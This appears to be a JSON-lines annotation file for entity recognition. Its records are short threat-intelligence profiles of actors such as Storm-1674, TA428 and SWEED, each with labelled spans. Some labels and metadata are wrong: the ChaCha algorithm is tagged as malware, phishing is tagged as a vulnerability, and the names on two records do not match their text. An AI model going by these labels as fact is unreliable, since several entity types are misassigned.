+{"text": "Storm-1567 is the threat actor behind the Ransomware-as-a-Service Akira. They attacked Swedish organizations in March 2023. This ransomware utilizes the ChaCha encryption algorithm, PowerShell, and Windows Management Instrumentation (WMI). Microsoft's Defender for Endpoint successfully blocked a large-scale hacking campaign carried out by Storm-1567, highlighting the effectiveness of their security solution.", "spans": {"THREAT_ACTOR: Storm-1567": [[0, 10], [341, 351]], "TOOL: PowerShell": [[182, 192]], "SYSTEM: WMI": [[234, 237]], "SYSTEM: Windows": [[198, 205]], "ORGANIZATION: Microsoft": [[240, 249]], "MALWARE: Akira": [[66, 71]], "MALWARE: ChaCha": [[153, 159]]}, "info": {"source": "apt_reports", "name": "Storm-1567"}}
+{"text": "Storm-1575 is a threat actor identified by Microsoft as being involved in phishing campaigns using the Dadsec platform. They utilize hundreds of Domain Generated Algorithm domains to host credential harvesting pages and target global organizations to steal Microsoft 365 credentials.", "spans": {"THREAT_ACTOR: Storm-1575": [[0, 10]], "SYSTEM: Microsoft 365": [[257, 270]], "ORGANIZATION: Microsoft": [[43, 52], [257, 266]], "VULNERABILITY: phishing": [[74, 82]]}, "info": {"source": "apt_reports", "name": "Storm-1575"}}
+{"text": "Storm-1674 is an access broker known for using tools based on the publicly available TeamsPhisher tool to distribute DarkGate malware. Storm-1674 campaigns have typically relied on phishing lures sent over Teams with malicious attachments, such as ZIP files containing a LNK file that ultimately drops DarkGate and Pikabot. In September 2023, Microsoft observed handoffs from Storm-1674 to ransomware operators that have led to Black Basta ransomware deployment.", "spans": {"THREAT_ACTOR: Storm-1674": [[0, 10], [135, 145], [376, 386]], "ORGANIZATION: Microsoft": [[343, 352]], "VULNERABILITY: phishing": [[181, 189]], "MALWARE: DarkGate": [[117, 125], [302, 310]], "MALWARE: Black Basta": [[428, 439]], "MALWARE: Pikabot": [[315, 322]]}, "info": {"source": "apt_reports", "name": "Storm-1674"}}
+{"text": "Storm-1679 is a Russian disinformation group believed to be a spinoff of the Internet Research Agency, actively engaged in influence operations targeting the International Olympic Committee and the 2024 Olympic Games. The group has employed AI-generated content, including deepfake videos and fabricated narratives about violence, to discredit the IOC and instill fear among potential attendees. Their campaigns have been identified across multiple languages and platforms, utilizing techniques such as impersonation of media outlets and the creation of disinformation websites. Microsoft attributes significant disinformation activities related to the Olympics to Storm-1679, highlighting their focus on spreading falsehoods and promoting anti-Olympics messaging.", "spans": {"THREAT_ACTOR: Storm-1679": [[0, 10], [665, 675]], "ORGANIZATION: Microsoft": [[579, 588]]}, "info": {"source": "apt_reports", "name": "Storm-1679"}}
+{"text": "Storm-1747 is an intrusion set that develops and operates the Tycoon 2FA phishing kit, which has been active since at least mid-2023 and is known for its sophisticated obfuscation and exfiltration techniques. The kit has been sold and distributed under the PhaaS model, making it one of the most widespread phishing kits by early 2025.", "spans": {"THREAT_ACTOR: Storm-1747": [[0, 10]], "VULNERABILITY: phishing": [[73, 81], [307, 315]], "MALWARE: Tycoon": [[62, 68]]}, "info": {"source": "apt_reports", "name": "Storm-1747"}}
+{"text": "UAT4356 is a state-sponsored threat actor that targeted government networks globally through a campaign named ArcaneDoor. They exploited two zero-day vulnerabilities in Cisco Adaptive Security Appliances to deploy custom malware implants called \"Line Runner\" and \"Line Dancer.\" The actor demonstrated a deep understanding of Cisco systems, utilized anti-forensic measures, and took deliberate steps to evade detection. UAT4356's sophisticated attack chain allowed them to conduct malicious actions such as configuration modification, reconnaissance, network traffic capture/exfiltration, and potentially lateral movement on compromised devices.", "spans": {"THREAT_ACTOR: ArcaneDoor": [[110, 120]], "SYSTEM: Cisco": [[169, 174], [325, 330]], "VULNERABILITY: zero-day": [[141, 149]], "MALWARE: Line Dancer": [[264, 275]], "MALWARE: Line Runner": [[246, 257]]}, "info": {"source": "apt_reports", "name": "Storm-1849"}}
+{"text": "Storm-1977 is a sophisticated threat actor that conducts password-spraying attacks targeting cloud tenants, particularly in the education sector, utilizing the AzureChecker.exe CLI tool as their primary infection vector. They have successfully compromised over 200 containers, repurposing them for cryptocurrency mining operations by leveraging guest accounts to create new resource groups within compromised subscriptions. Microsoft Threat Intelligence researchers have identified unique operational patterns that distinguish Storm-1977 from other cryptomining threat actors. The group exploits compromised accounts as a primary attack surface in their operations.", "spans": {"THREAT_ACTOR: Storm-1977": [[0, 10], [527, 537]], "ORGANIZATION: Microsoft": [[424, 433]]}, "info": {"source": "apt_reports", "name": "Storm-1977"}}
+{"text": "TAG-100 is a cyber-espionage APT that targets government and private sector organizations globally, exploiting vulnerabilities in internet-facing devices such as Citrix NetScaler and F5 BIG-IP for initial access. The group employs open-source tools like Pantegana and SparkRAT for persistence and post-exploitation activities, including credential theft and email data exfiltration. TAG-100 has compromised entities in at least ten countries, including two Asia-Pacific intergovernmental organizations, and focuses on sectors like education, finance, and local government. Their operations highlight the challenges of attribution due to the use of off-the-shelf tools and techniques that overlap with other state-sponsored groups.", "spans": {"SYSTEM: Citrix": [[162, 168]], "VULNERABILITY: credential theft": [[337, 353]], "MALWARE: Pantegana": [[254, 263]], "MALWARE: SparkRAT": [[268, 276]]}, "info": {"source": "apt_reports", "name": "Storm-2077"}}
+{"text": "Storm-2139 is a cybercrime group that exploited stolen API keys from compromised Azure OpenAI Service accounts to generate harmful content, including non-consensual intimate imagery, using the DALL-E model. The group utilized reverse proxy infrastructure and custom software to bypass guardrails in Microsoft’s GenAI services. Microsoft has filed a lawsuit against four individuals associated with Storm-2139, alleging they modified customer systems and resold access to these capabilities. The group systematically harvested authentication tokens from U.S.-based enterprises and is linked to a broader network of illicit AI tool development and distribution.", "spans": {"THREAT_ACTOR: Storm-2139": [[0, 10], [398, 408]], "SYSTEM: Azure": [[81, 86]], "ORGANIZATION: Microsoft": [[299, 308], [327, 336]]}, "info": {"source": "apt_reports", "name": "Storm-2139"}}
+{"text": "Storm-2372 is a suspected nation-state actor aligned with Russian interests, engaging in device code phishing campaigns targeting governments, NGOs, and various industries across Europe, North America, Africa, and the Middle East. The actor employs tactics that involve impersonating prominent individuals through third-party messaging services like WhatsApp and Signal to gain rapport before sending phishing invitations. These invitations lure users into completing device code authentication requests, granting Storm-2372 initial access to victim accounts and enabling Graph API data collection activities, including email harvesting. Microsoft has observed the actor utilizing keyword searches within compromised accounts to exfiltrate sensitive information.", "spans": {"THREAT_ACTOR: Storm-2372": [[0, 10], [514, 524]], "SYSTEM: Signal": [[363, 369]], "SYSTEM: WhatsApp": [[350, 358]], "ORGANIZATION: Microsoft": [[638, 647]], "VULNERABILITY: phishing": [[101, 109], [401, 409]]}, "info": {"source": "apt_reports", "name": "Storm-2372"}}
+{"text": "Storm-2460 is a threat actor that has exploited elevation of privilege vulnerabilities to deploy PipeMagic malware and ransomware, enabling them to escalate access within compromised environments. They have been observed using the certutil utility to download malware from compromised legitimate third-party websites. Ransomware activity associated with Storm-2460 includes file encryption and the deployment of a ransom note named !_READ_ME_REXX2_!.txt. Microsoft recommends prioritizing security updates for elevation of privilege vulnerabilities to mitigate the impact of this actor's activities.", "spans": {"THREAT_ACTOR: Storm-2460": [[0, 10], [354, 364]], "TOOL: certutil": [[231, 239]], "ORGANIZATION: Microsoft": [[455, 464]]}, "info": {"source": "apt_reports", "name": "Storm-2460"}}
+{"text": "The group Microsoft tracks as Storm-2603 is assessed with medium confidence to be a China-based threat actor. Microsoft has not identified links between Storm-2603 and other known Chinese threat actors. Microsoft tracks this threat actor in association with attempts to steal MachineKeys via the on-premises SharePoint vulnerabilities. Although Microsoft has observed this threat actor deploying Warlock and Lockbit ransomware in the past, Microsoft is currently unable to confidently assess the threat actor’s objectives.  Additional actors may use these exploits to target unpatched on-premises SharePoint systems, further emphasizing the need for organizations to implement mitigations and security updates immediately.", "spans": {"THREAT_ACTOR: Storm-2603": [[30, 40], [153, 163]], "SYSTEM: SharePoint": [[308, 318], [597, 607]], "ORGANIZATION: Microsoft": [[10, 19], [110, 119], [203, 212], [345, 354], [440, 449]]}, "info": {"source": "apt_reports", "name": "Storm-2603"}}
+{"text": "Storm-2657 is a financially motivated threat actor targeting US-based organizations, particularly in higher education, to compromise employee accounts and redirect salary payments to attacker-controlled accounts. They employ tactics such as creating inbox rules to delete warning notifications from HR platforms like Workday and using phishing emails that impersonate legitimate university communications to gain access. The actor modifies employee salary payment configurations to facilitate financial theft. Mitigation efforts include implementing phishing-resistant MFA methods to secure user identities against such attacks.", "spans": {"THREAT_ACTOR: Storm-2657": [[0, 10]], "VULNERABILITY: phishing": [[335, 343], [550, 558]]}, "info": {"source": "apt_reports", "name": "Storm-2657"}}
+{"text": "Storm Cloud is a Chinese espionage threat actor known for targeting organizations across Asia, particularly Tibetan organizations and individuals. They use a variety of malware families, including GIMMICK and GOSLU, which are feature-rich and multi-platform. Storm Cloud leverages public cloud hosting services like Google Drive for command-and-control channels, making it difficult to detect their activities.", "spans": {"THREAT_ACTOR: Storm Cloud": [[0, 11], [259, 270]], "ORGANIZATION: Google": [[316, 322]], "MALWARE: GIMMICK": [[197, 204]]}, "info": {"source": "apt_reports", "name": "Storm Cloud"}}
+{"text": "Stucx is a threat actor known for targeting Israeli systems, including SCADA systems and the Red Alert missile protection system. Stucx Team has also developed a mobile application called MyOPECS for coordinating attacks, which includes features like DDoS attacks and is expected to add more capabilities in the future. Additionally, they have been observed using VPNs and proxy software to conceal their activities and have a history of making threats against those who cooperate with Israel.", "spans": {"VULNERABILITY: DDoS": [[251, 255]]}, "info": {"source": "apt_reports", "name": "StucxTeam"}}
+{"text": "DEV-0665 is a threat actor associated with the HermeticWiper attacks. Their objective is to disrupt, degrade, and destroy specific resources within a targeted country.", "spans": {"MALWARE: HermeticWiper": [[47, 60]]}, "info": {"source": "apt_reports", "name": "Sunglow Blizzard"}}
+{"text": "Seqrite Labs APT-Team has recently uncovered a campaign which we have termed as Swan Vector, that has been targeting the nations across the East China sea such as Taiwan and Japan. The campaign is aimed at educational institutes and mechanical engineering industry with lures aiming to deliver fake resume of candidates which acts as a decoy.", "spans": {"THREAT_ACTOR: Swan Vector": [[80, 91]]}, "info": {"source": "apt_reports", "name": "Swan Vector"}}
+{"text": "Cisco Talos recently identified a large number of ongoing malware distribution campaigns linked to a threat actor we're calling \"SWEED,\" including such notable malware as Formbook, Lokibot and Agent Tesla. Based on our research, SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans.\nSWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments. While these campaigns have featured a myriad of different types of malicious documents, the actor primarily tries to infect its victims with a packed version of Agent Tesla — an information stealer that's been around since at least 2014. The version of Agent Tesla that SWEED is using differs slightly from what we've seen in the past in the way that it is packed, as well as how it infects the system. In this post, we'll run down each campaign we're able to connect to SWEED, and talk about some of the actor's tactics, techniques and procedures (TTPs).", "spans": {"THREAT_ACTOR: SWEED": [[129, 134], [229, 234], [357, 362], [749, 754], [950, 955]], "SYSTEM: Cisco": [[0, 5]], "ORGANIZATION: Cisco Talos": [[0, 11]], "ORGANIZATION: Talos": [[6, 11]], "VULNERABILITY: spear-phishing": [[429, 443]], "VULNERABILITY: phishing": [[435, 443]], "MALWARE: Lokibot": [[181, 188]], "MALWARE: Agent Tesla": [[193, 204], [640, 651], [732, 743]], "MALWARE: Formbook": [[171, 179]]}, "info": {"source": "apt_reports", "name": "SWEED"}}
+{"text": "SYLHET GANG-SG is a hacktivist group that has targeted critical infrastructure and various entities, including the Central European University and the EU Parliament, often articulating their rationale for attacks. They have been involved in DDoS attacks against Western targets, including the personal website of UK Prime Minister Sunak and the Cyprus police. The group has also declared allegiance to the KillNet 2.0 hacker collective, focusing on threats against allies of Israel.", "spans": {"THREAT_ACTOR: SYLHET GANG-SG": [[0, 14]], "VULNERABILITY: DDoS": [[241, 245]]}, "info": {"source": "apt_reports", "name": "SYLHET GANG-SG"}}
+{"text": "Proofpoint researchers detected campaigns from a relatively new actor, tracked internally as TA2101, targeting German companies and organizations to deliver and install backdoor malware. The actor initiated their campaigns impersonating the Bundeszentralamt fur Steuern, the German Federal Ministry of Finance, with lookalike domains, verbiage, and stolen branding in the emails. For their campaigns in Germany, the actor chose Cobalt Strike, a commercially licensed software tool that is generally used for penetration testing and emulates the type of backdoor framework used by Metasploit, a similar penetration testing tool. Proofpoint researchers have also observed this actor distributing Maze ransomware, employing similar social engineering techniques to those it uses for Cobalt Strike, while also targeting organizations in Italy and impersonating the Agenzia Delle Entrate, the Italian Revenue Agency. We have also recently observed the actor targeting organizations in the United States using the IcedID banking Trojan while impersonating the United States Postal Service (USPS).", "spans": {"THREAT_ACTOR: TA2101": [[93, 99]], "THREAT_ACTOR: Cobalt": [[428, 434], [780, 786]], "TOOL: Cobalt Strike": [[428, 441], [780, 793]], "TOOL: Metasploit": [[580, 590]], "ORGANIZATION: Proofpoint": [[0, 10], [628, 638]], "MALWARE: IcedID": [[1008, 1014]], "MALWARE: Maze": [[694, 698]]}, "info": {"source": "apt_reports", "name": "TA2101"}}
+{"text": "TA2536, which has been active since at least 2015, is likely Nigerian based on its unique linguistic style, tactics and tools. It uses keyloggers such as HawkEye and distinctive stylometric features in typo-squatted domains that resemble legitimate names and the use of recurring names and substrings in email addresses.", "spans": {"THREAT_ACTOR: TA2536": [[0, 6]], "MALWARE: HawkEye": [[154, 161]]}, "info": {"source": "apt_reports", "name": "TA2536"}}
+{"text": "Persistent cybercrime threat actor targeting aviation, aerospace, transportation, manufacturing, and defense industries for years. This threat actor consistently uses remote access trojans (RATs) that can be used to remotely control compromised machines. This threat actor uses consistent themes related to aviation, transportation, and travel. The threat actor has used similar themes and targeting since 2017.", "spans": {}, "info": {"source": "apt_reports", "name": "TA2541"}}
+{"text": "Since January 2020, Proofpoint researchers have tracked an actor abusing Microsoft Office 365 (O365) third-party application (3PA) access, with suspected activity dating back to August 2019. The actor, known as TA2552, uses well-crafted Spanish language lures that leverage a narrow range of themes and brands. The lures entice users to click a link in the message, taking them to the legitimate Microsoft third-party apps consent page. There they are prompted to grant a third-party application read-only user permissions to their O365 account via OAuth2 or other token-based authorization methods. TA2552 seeks access to specific account resources like the user’s contacts and mail. Requesting read-only permissions for such account resources could be used to conduct account reconnaissance, silently steal data, or to intercept password reset messages from other accounts such as those at financial institutions. While organizations with global presence have received messages from this group, they appear to choose recipients who are likely Spanish speakers.", "spans": {"THREAT_ACTOR: TA2552": [[211, 217], [600, 606]], "SYSTEM: Microsoft Office": [[73, 89]], "SYSTEM: Office 365": [[83, 93]], "ORGANIZATION: Microsoft": [[73, 82], [396, 405]], "ORGANIZATION: Proofpoint": [[20, 30]]}, "info": {"source": "apt_reports", "name": "TA2552"}}
+{"text": "In late March 2020, Proofpoint researchers began tracking a new actor with a penchant for using NanoCore and later AsyncRAT, popular commodity remote access trojans (RATs). Dubbed TA2719 by Proofpoint, the actor uses localized lures with colorful images that impersonate local banks, law enforcement, and shipping services. Proofpoint has observed this actor send low volume campaigns to recipients in Austria, Chile, Greece, Hungary, Italy, North Macedonia, Netherlands, Spain, Sweden, Taiwan, United States, and Uruguay.", "spans": {"THREAT_ACTOR: TA2719": [[180, 186]], "TOOL: AsyncRAT": [[115, 123]], "ORGANIZATION: Proofpoint": [[20, 30], [190, 200], [324, 334]], "MALWARE: NanoCore": [[96, 104]]}, "info": {"source": "apt_reports", "name": "TA2719"}}
+{"text": "TA2722 is a highly active threat actor that targets various industries including Shipping/Logistics, Manufacturing, Business Services, Pharmaceutical, and Energy. They primarily focus on organizations in North America, Europe, and Southeast Asia. This threat actor impersonates Philippine government entities and uses themes related to the government to gain remote access to target computers. Their objectives include information gathering, installing follow-on malware, and engaging in business email compromise activities.", "spans": {"THREAT_ACTOR: TA2722": [[0, 6]]}, "info": {"source": "apt_reports", "name": "TA2722"}}
+{"text": "TA2723 is a financially-motivated, high-volume credential phishing threat actor known for spoofing Microsoft OneDrive, LinkedIn, and DocuSign. Proofpoint Threat Research has observed TA2723 conducting OAuth device code phishing campaigns, utilizing tools like Squarephish and Graphish to enhance their operations. The use of these tools allows TA2723 to mitigate the short-lived nature of device codes, facilitating larger campaigns. Successful attacks can lead to M365 account takeover, data exfiltration, and lateral movement.", "spans": {"THREAT_ACTOR: TA2723": [[0, 6], [183, 189], [344, 350]], "ORGANIZATION: Microsoft": [[99, 108]], "ORGANIZATION: Proofpoint": [[143, 153]], "VULNERABILITY: phishing": [[58, 66], [219, 227]]}, "info": {"source": "apt_reports", "name": "TA2723"}}
+{"text": "TA2725 is a threat actor that has been tracked since March 2022. They primarily target organizations in Brazil and Mexico using Brazilian banking malware and phishing techniques. Recently, they have expanded their operations to also target victims in Spain and Mexico simultaneously. TA2725 typically uses GoDaddy virtual hosting for their URL redirector and hosts malicious files on legitimate cloud hosting providers like Amazon AWS, Google Cloud, or Microsoft Azure. They have been known to spoof legitimate companies, such as ÉSECÈ Group, to deceive their victims.", "spans": {"THREAT_ACTOR: TA2725": [[0, 6], [284, 290]], "SYSTEM: Google Cloud": [[436, 448]], "SYSTEM: Azure": [[463, 468]], "SYSTEM: AWS": [[431, 434]], "ORGANIZATION: Microsoft": [[453, 462]], "ORGANIZATION: Amazon": [[424, 430]], "ORGANIZATION: Google": [[436, 442]], "VULNERABILITY: phishing": [[158, 166]]}, "info": {"source": "apt_reports", "name": "TA2725"}}
+{"text": "TA402 is an APT group that has been tracked by Proofpoint since  2020. They primarily target government entities in the Middle East and North Africa, with a focus on intelligence collection. TA402 is known for using sophisticated phishing campaigns and constantly updating their malware implants and delivery methods to evade detection. They have been observed using cloud services like Dropbox and Google Drive for hosting malicious payloads and command-and-control infrastructure.", "spans": {"THREAT_ACTOR: TA402": [[0, 5], [191, 196]], "ORGANIZATION: Google": [[399, 405]], "ORGANIZATION: Proofpoint": [[47, 57]], "VULNERABILITY: phishing": [[230, 238]]}, "info": {"source": "apt_reports", "name": "TA402"}}
+{"text": "TA406 is engaging in malware distribution, phishing, intelligence collection, and cryptocurrency theft, resulting in a wide range of criminal activities.", "spans": {"THREAT_ACTOR: TA406": [[0, 5]], "VULNERABILITY: phishing": [[43, 51]]}, "info": {"source": "apt_reports", "name": "TA406"}}
+{"text": "Early in August 2019, Proofpoint described what appeared to be state-sponsored activity targeting the US utilities sector with malware that we dubbed “Lookback”. Between August 21 and August 29, 2019, several spear phishing emails were identified targeting additional US companies in the utilities sector. The phishing emails originated from what appears to be an actor-controlled domain: globalenergycertification[.]net. This domain, like those used in previous campaigns, impersonated a licensing body related to the utilities sector. In this case, it masqueraded as the legitimate domain for Global Energy Certification (“GEC”). The emails include a GEC examination-themed body and a malicious Microsoft Word attachment that uses macros to install and run LookBack. (Note confusion between Malware, Campaign and ThreatActor)", "spans": {"SYSTEM: Microsoft Word": [[697, 711]], "ORGANIZATION: Microsoft": [[697, 706]], "ORGANIZATION: Proofpoint": [[22, 32]], "VULNERABILITY: phishing": [[215, 223], [310, 318]], "VULNERABILITY: spear phishing": [[209, 223]], "MALWARE: LookBack": [[759, 767]], "MALWARE: Global": [[595, 601]]}, "info": {"source": "apt_reports", "name": "TA410"}}
+{"text": "Proofpoint researchers have identified a targeted APT campaign that utilized malicious RTF documents to deliver custom malware to unsuspecting victims. We dubbed this campaign “Operation LagTime IT” based on entities that were targeted and the distinctive domains registered to C&C IP infrastructure. Beginning in early 2019, these threat actors targeted a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. We determined that the infection vector observed in this campaign was spear phishing, with emails originating from both free email accounts and compromised user accounts. Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Additionally, this APT group utilizes Poison Ivy payloads that share overlapping command and control (C&C) infrastructure with the newly identified Cotx campaigns. Based on infrastructure overlaps, post-exploitation techniques, and historic TTPs utilized in this operation, Proofpoint analysts attribute this activity to the Chinese APT group tracked internally as TA428. Researchers believe that this activity has an operational and tactical resemblance to the Maudi Surveillance Operation which was previously reported in 2013.", "spans": {"CVE_ID: CVE-2018-0798": [[753, 766]], "THREAT_ACTOR: TA428": [[1210, 1215]], "ORGANIZATION: Microsoft": [[719, 728]], "ORGANIZATION: Proofpoint": [[0, 10], [800, 810], [1119, 1129]], "VULNERABILITY: phishing": [[604, 612]], "VULNERABILITY: spear phishing": [[598, 612]], "MALWARE: Maudi": [[1307, 1312]], "MALWARE: Equation": [[729, 737]]}, "info": {"source": "apt_reports", "name": "TA428"}}
+{"text": "TA444 is a North Korea state-sponsored threat actor that primarily focuses on financially motivated operations. They have been active since at least 2017 and have recently shifted their attention to targeting cryptocurrencies. TA444 employs various infection methods and has a diverse range of malware and backdoors at their disposal. They have been attributed to stealing hundreds of millions of dollars' worth of cryptocurrency and related assets.", "spans": {"THREAT_ACTOR: TA444": [[0, 5], [227, 232]]}, "info": {"source": "apt_reports", "name": "TA444"}}
+{"text": "TA453 has employed the use of compromised accounts, malware, and confrontational lures to go after targets with a range of backgrounds from medical researchers to realtors to travel agencies.", "spans": {"THREAT_ACTOR: TA453": [[0, 5]]}, "info": {"source": "apt_reports", "name": "TA453"}}
+{"text": "TA455 is an Iranian APT group targeting the aerospace industry through a campaign known as the “Iranian Dream Job Campaign,” utilizing deceptive job offers to lure victims. They employ spearphishing tactics with malicious ZIP files containing the executable “secur32[.]dll” and disguise their C2 communications within the traffic of reputable services like Cloudflare and GitHub. The group intentionally mimics the TTPs of the North Korean Lazarus group to mislead investigators and complicate attribution. Their multi-stage infection strategy enhances the likelihood of success while evading detection.", "spans": {"THREAT_ACTOR: TA455": [[0, 5]], "SYSTEM: GitHub": [[372, 378]], "ORGANIZATION: Cloudflare": [[357, 367]], "VULNERABILITY: spearphishing": [[185, 198]]}, "info": {"source": "apt_reports", "name": "TA455"}}
+{"text": "Since early 2022, Proofpoint researchers have observed a prolific threat actor, tracked as TA482, regularly engaging in credential harvesting campaigns that target the social media accounts of mostly US-based journalists and media organizations. This victimology, TA482’s use of services originating from Turkey to host its domains and infrastructure, as well as Turkey’s history of leveraging social media to spread pro-President Recep Tayyip Erdogan and pro-Justice and Development Party (Turkey’s ruling party) propaganda support Proofpoint’s assessment that TA482 is aligned with the Turkish state.", "spans": {"THREAT_ACTOR: TA482": [[91, 96], [264, 269], [562, 567]], "ORGANIZATION: Proofpoint": [[18, 28], [533, 543]]}, "info": {"source": "apt_reports", "name": "TA482"}}
+{"text": "TA4903 is a financially motivated threat actor known for conducting credential phishing and business email compromise campaigns. They target organizations in the U.S. across various sectors, spoofing government entities and private businesses. The actor has been observed using techniques such as QR codes in phishing campaigns and spoofing supplier domains to prompt victims to provide banking information. TA4903's activities typically involve stealing corporate credentials to facilitate follow-on BEC activities.", "spans": {"THREAT_ACTOR: TA4903": [[0, 6], [408, 414]], "VULNERABILITY: phishing": [[79, 87], [309, 317]]}, "info": {"source": "apt_reports", "name": "TA4903"}}
+{"text": "TA499, also known as Vovan and Lexus, is a Russia-aligned threat actor that has aggressively engaged in email campaigns since at least 2021.  The threat actor’s campaigns attempt to convince high-profile North American and European government officials as well as CEOs of prominent companies and celebrities into participating in recorded phone calls or video chats.", "spans": {"THREAT_ACTOR: TA499": [[0, 5]]}, "info": {"source": "apt_reports", "name": "TA499"}}
+{"text": "TA505, the name given by Proofpoint, has been in the cybercrime business for at least four years. This is the group behind the infamous Dridex banking trojan and Locky ransomware, delivered through malicious email campaigns via Necurs botnet. Other malware associated with TA505 include Philadelphia and GlobeImposter ransomware families.", "spans": {"THREAT_ACTOR: TA505": [[0, 5], [273, 278]], "ORGANIZATION: Proofpoint": [[25, 35]], "MALWARE: GlobeImposter": [[304, 317]], "MALWARE: Dridex": [[136, 142]], "MALWARE: Locky": [[162, 167]]}, "info": {"source": "apt_reports", "name": "TA505"}}
+{"text": "This actor typically distributes instances of the SmokeLoader intermediate downloader, which, in turn, downloads additional malware of the actor’s choice -- often banking Trojans. Figure 3 shows a lure document from a November campaign in which TA516 distributed fake resumes with malicious macros that, if enabled, launch a PowerShell script that downloads SmokeLoader. In this instance, we observed SmokeLoader downloading a Monero coinminer. Since the middle of 2017, TA516 has used similar macro-laden documents as well as malicious JavaScript hosted on Google Drive to distribute both Panda Banker and a coinminer executable via SmokeLoader, often in the same campaigns.", "spans": {"THREAT_ACTOR: TA516": [[245, 250], [471, 476]], "TOOL: PowerShell": [[325, 335]], "ORGANIZATION: Google": [[558, 564]], "MALWARE: SmokeLoader": [[50, 61], [358, 369], [401, 412], [634, 645]]}, "info": {"source": "apt_reports", "name": "TA516"}}
+{"text": "TA530, who we previously examined in relation to large-scale personalized phishing campaigns", "spans": {"THREAT_ACTOR: TA530": [[0, 5]], "VULNERABILITY: phishing": [[74, 82]]}, "info": {"source": "apt_reports", "name": "TA530"}}
+{"text": "TA547 is responsible for many other campaigns since at least November 2017. The other campaigns by the actor were often localized to countries such as Australia, Germany, the United Kingdom, and Italy. Delivered malware included ZLoader (a.k.a. Terdot), Gootkit, Ursnif, Corebot, Panda Banker, Atmos, Mazar Bot, and Red Alert Android malware.", "spans": {"THREAT_ACTOR: TA547": [[0, 5]], "SYSTEM: Android": [[326, 333]], "MALWARE: Terdot": [[245, 251]], "MALWARE: Ursnif": [[263, 269]]}, "info": {"source": "apt_reports", "name": "TA547"}}
+{"text": "Since May 2018, Proofpoint researchers have observed email campaigns using a new downloader called sLoad. sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries.\nWhile initial versions of sLoad appeared in May 2018, we began tracking the campaigns from this actor (internally named TA554) since at least the beginning of 2017.", "spans": {"THREAT_ACTOR: TA554": [[652, 657]], "TOOL: PowerShell": [[117, 127]], "SYSTEM: Outlook": [[345, 352]], "SYSTEM: Citrix": [[374, 380]], "ORGANIZATION: Proofpoint": [[16, 26]], "MALWARE: sLoad": [[99, 104], [106, 111], [396, 401], [558, 563]], "MALWARE: Ramnit": [[169, 175]]}, "info": {"source": "apt_reports", "name": "TA554"}}
+{"text": "Beginning in May 2018, Proofpoint researchers observed a previously undocumented downloader dubbed AdvisorsBot appearing in malicious email campaigns. The campaigns appear to primarily target hotels, restaurants, and telecommunications, and are distributed by an actor we track as TA555. To date, we have observed AdvisorsBot used as a first-stage payload, loading a fingerprinting module that, as with Marap, is presumably used to identify targets of interest to further infect with additional modules or payloads. AdvisorsBot is under active development and we have also observed another version of the malware completely rewritten in PowerShell and .NET.", "spans": {"THREAT_ACTOR: TA555": [[281, 286]], "TOOL: PowerShell": [[637, 647]], "SYSTEM: .NET": [[652, 656]], "ORGANIZATION: Proofpoint": [[23, 33]], "MALWARE: Marap": [[403, 408]], "MALWARE: AdvisorsBot": [[99, 110], [314, 325], [516, 527]]}, "info": {"source": "apt_reports", "name": "TA555"}}
+{"text": "Since 2018, security researchers tracked a financially-motivated cybercrime actor, TA558, targeting hospitality, travel, and related industries located in Latin America and sometimes North America, and western Europe. The actor sends malicious emails written in Portuguese, Spanish, and sometimes English. The emails use reservation-themed lures with business-relevant themes such as hotel room bookings. The emails may contain malicious attachments or URLs aiming to distribute one of at least 15 different malware payloads.", "spans": {"THREAT_ACTOR: TA558": [[83, 88]]}, "info": {"source": "apt_reports", "name": "TA558"}}
+{"text": "One of the most active Qbot malware affiliates, Proofpoint has tracked the large cybercrime threat actor TA570 since 2018.", "spans": {"THREAT_ACTOR: TA570": [[105, 110]], "ORGANIZATION: Proofpoint": [[48, 58]], "MALWARE: Qbot": [[23, 27]]}, "info": {"source": "apt_reports", "name": "TA570"}}
+{"text": "TA571 is a spam distributor actor known for delivering a variety of malware, including DarkGate, NetSupport RAT, and information stealers. They use phishing emails with macro-enabled attachments to spread malicious PDFs containing rogue OneDrive links. TA571 has been observed using unique filtering techniques with intermediary \"gates\" to target specific users and bypass automated sandboxing. Proofpoint assesses with high confidence that TA571 infections can lead to ransomware.", "spans": {"THREAT_ACTOR: TA571": [[0, 5], [253, 258], [441, 446]], "TOOL: NetSupport": [[97, 107]], "ORGANIZATION: Proofpoint": [[395, 405]], "VULNERABILITY: phishing": [[148, 156]], "MALWARE: DarkGate": [[87, 95]]}, "info": {"source": "apt_reports", "name": "TA571"}}
+{"text": "TA575 is a Dridex affiliate tracked by Proofpoint since late 2020. This group distributes malware such as Dridex, Qakbot, and WastedLocker via malicious URLs, Office attachments, and password-protected files. On average, TA575 distributes almost 4,000 messages per campaign impacting hundreds of organizations.", "spans": {"THREAT_ACTOR: TA575": [[0, 5], [221, 226]], "ORGANIZATION: Proofpoint": [[39, 49]], "MALWARE: Dridex": [[11, 17], [106, 112]], "MALWARE: WastedLocker": [[126, 138]]}, "info": {"source": "apt_reports", "name": "TA575"}}
+{"text": "TA577 is a prolific cybercrime threat actor tracked by Proofpoint since mid-2020. This actor conducts broad targeting across various industries and geographies, and Proofpoint has observed TA577 deliver payloads including Qbot, IcedID, SystemBC, SmokeLoader, Ursnif, and Cobalt Strike.", "spans": {"THREAT_ACTOR: TA577": [[0, 5], [189, 194]], "THREAT_ACTOR: Cobalt": [[271, 277]], "TOOL: Cobalt Strike": [[271, 284]], "ORGANIZATION: Proofpoint": [[55, 65], [165, 175]], "MALWARE: Qbot": [[222, 226]], "MALWARE: IcedID": [[228, 234]], "MALWARE: SystemBC": [[236, 244]], "MALWARE: SmokeLoader": [[246, 257]], "MALWARE: Ursnif": [[259, 265]]}, "info": {"source": "apt_reports", "name": "TA577"}}
